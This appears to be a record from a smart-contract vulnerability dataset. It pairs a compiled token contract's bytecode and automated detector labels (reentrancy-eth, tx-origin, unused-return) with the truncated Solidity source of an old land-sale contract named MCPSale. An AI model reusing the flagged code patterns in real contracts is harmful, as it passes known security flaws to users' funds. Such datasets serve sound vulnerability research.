ffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab90613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290613648565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf613adb565b5b9050602002016020810190610bc59190612e2e565b858585818110610bd857610bd7613adb565b5b90506020020135612062565b508080610bf090613a34565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7290613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4990613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b90613648565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb390613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b600f5481565b610fab611495565b73ffffffffffffffffffffffffffffffffffffffff16610fc9610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461101f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101690613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b60606040518060400160405280600381526020017f5273520000000000000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90613648565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090613648565b60405180910390fd5b60006111c430610d6f565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb565b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b60008060008060408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b600060208201905081810360008301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206251b1dbd9f6056875e363c3197dee55046b6331e46f8bf83ddf73a43c562fe764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,935 |
0x2C2391F793f4f81475D87fffE366458Ce5380A13
|
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Beneficiary is Ownable {
address public beneficiary;
constructor() public {
beneficiary = msg.sender;
}
function setBeneficiary(address _beneficiary) onlyOwner public {
beneficiary = _beneficiary;
}
function withdrawal(uint256 amount) public onlyOwner {
if (amount > address(this).balance) {
revert();
}
beneficiary.transfer(amount);
}
function withdrawalAll() public onlyOwner {
beneficiary.transfer(address(this).balance);
}
}
contract MCPSale is Beneficiary {
mapping(address => uint256) public balances;
mapping(uint256 => address) public approved;
mapping(int32 => mapping(int32 => uint256)) public zone;
mapping(uint256 => Coordinates) public zone_reverse;
mapping(uint16 => Region) public regions;
mapping(uint16 => RegionBid) public region_bids;
bool public constant implementsERC721 = true;
uint256 constant MINIMAL_RAISE = 0.5 ether;
uint256 constant AUCTION_DURATION = 7 * 24 * 60 * 60; // 7 Days
bool public SaleActive = true;
struct MapLand {
uint8 resources;
uint16 region;
uint256 buyPrice;
address owner;
}
struct Coordinates {
int32 x;
int32 y;
}
struct RegionBid {
address currentBuyer;
uint256 bid;
uint256 activeTill;
}
struct Region {
address owner;
uint8 tax;
uint256 startPrice;
string regionName;
bool onSale;
bool allowSaleLands;
bool created;
}
uint256 public basePrice = 0.01 ether;
uint256 public minMargin = 0.001944 ether;
uint32 public divider = 8;
uint8 public defaultRegionTax = 10;
MapLand[] public tokens;
address public mapMaster;
modifier isTokenOwner(uint256 _tokenId) {
if (tokens[_tokenId].owner != msg.sender) {
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
return;
}
_;
}
modifier onlyRegionOwner(uint16 _regionId) {
if (regions[_regionId].owner != msg.sender) {
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
return;
}
_;
}
modifier isNotNullAddress(address _address) {
require(address(0) != _address);
_;
}
modifier isApproved(uint256 _tokenId, address _to) {
require(approved[_tokenId] == _to);
_;
}
modifier onlyMapMaster() {
require(mapMaster == msg.sender);
_;
}
modifier onlyOnActiveSale() {
require(SaleActive);
_;
}
modifier canMakeBid(uint16 regionId) {
if ((region_bids[regionId].activeTill != 0 && region_bids[regionId].activeTill < now)
|| regions[regionId].owner != address(0) || !regions[regionId].onSale
) {
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
return;
}
_;
}
constructor() public {
mapMaster = msg.sender;
tokens.length++;
//reserve 0 token - no binding, no sale
MapLand storage reserve = tokens[tokens.length - 1];
reserve.owner = msg.sender;
}
function setMapMaster(address _mapMaster) public onlyOwner {
mapMaster = _mapMaster;
}
function setMinMargin(uint256 _amount) public onlyOwner {
minMargin = _amount;
}
function setBasePrice(uint256 _amount) public onlyOwner {
basePrice = _amount;
}
function setRegionTax(uint16 regionId, uint8 tax) public onlyRegionOwner(regionId) onlyOnActiveSale {
require(tax <= 100 && tax >= 0);
regions[regionId].tax = tax;
emit TaxUpdate(regionId, regions[regionId].tax);
}
function setRegionName(uint16 regionId, string regionName) public onlyOwner {
regions[regionId].regionName = regionName;
emit ChangeRegionName(regionId, regionName);
}
function setRegionOnSale(uint16 regionId) public onlyMapMaster {
regions[regionId].onSale = true;
emit RegionOnSale(regionId);
}
function setAllowSellLands(uint16 regionId) public onlyMapMaster {
regions[regionId].allowSaleLands = true;
emit RegionAllowSaleLands(regionId);
}
function setRegionPrice(uint16 regionId, uint256 price) public onlyOwner {
if(regions[regionId].owner == address(0) && !regions[regionId].onSale) {
regions[regionId].startPrice = price;
emit UpdateRegionPrice(regionId, price);
}
}
function addRegion(uint16 _regionId, uint256 _startPrice, string _regionName) public onlyMapMaster onlyOnActiveSale {
if (regions[_regionId].created) {
return;
}
Region storage newRegion = regions[_regionId];
newRegion.startPrice = _startPrice;
newRegion.tax = defaultRegionTax;
newRegion.owner = address(0);
newRegion.regionName = _regionName;
newRegion.created = true;
emit AddRegion(_regionId);
}
function regionExists(uint16 _regionId) public view returns (bool) {
return regions[_regionId].created;
}
function makeBid(uint16 regionId) payable public
onlyOnActiveSale
